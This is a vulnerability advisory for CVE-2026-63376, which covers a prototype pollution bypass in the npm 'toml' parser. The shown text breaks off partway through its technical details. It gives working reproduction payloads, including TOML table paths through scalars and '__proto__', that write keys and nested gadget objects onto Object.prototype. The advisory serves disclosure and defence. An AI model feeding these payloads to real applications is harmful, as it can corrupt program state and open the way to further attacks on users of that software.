CVE-2026-63376

### Summary `toml.parse()` writes attacker-controlled keys onto `Object.prototype`. The compiler protects the tables it builds by creating them with `Object.create(null)`, which neutralizes a direct `[__proto__]` table. An attacker bypasses that protection by routing a table path *through a scalar value* and into the real prototype chain: a path such as `a.b.y.__proto__.__proto__`, where `a.b.y` holds a number, resolves to `Object.prototype` and every subsequent key/value writes onto it. The bypass succeeds because the compiler's duplicate-key guards track paths with keys that do not match the keys used during traversal. The tracking strings and the traversal strings **desynchronize**, so the guard that should reject descending through an existing scalar never fires. ### Steps to reproduce 1. Install the latest version and run the comma-desynchronization payload. ```bash npm install [email protected] ``` ```js const toml = require("toml"); delete Object.prototype.polluted; toml.parse(` [a.b] y = 1 [a.b.y.__proto__.__proto__] polluted = "yes" `); console.log(({}).polluted); // -> "yes" ``` 2. Observe that a freshly created object inherits the injected key, confirming `Object.prototype` was modified: ``` yes ``` 3. Confirm the prefix-clear variant reaches the same result: ```js toml.parse(` aa = 1 [[a]] [aa.__proto__.__proto__] polluted = "yes" `); console.log(({}).polluted); // -> "yes" ``` A nested gadget object is also injectable, not only scalar keys: ```js toml.parse(` [a.b] y = 1 [a.b.y.__proto__.__proto__.code] val = "arbitrary" `); console.log(({}).code.val); // -> "arbitrary" ``` ### Technical details The compiler builds the result tree in `lib/compiler.js`. Tables are created with a null prototype, so a direct `[__proto__]` table only sets an ordinary own property and does not pollute: ```js var data = Object.create(null); // line 7 — root has no prototype // ..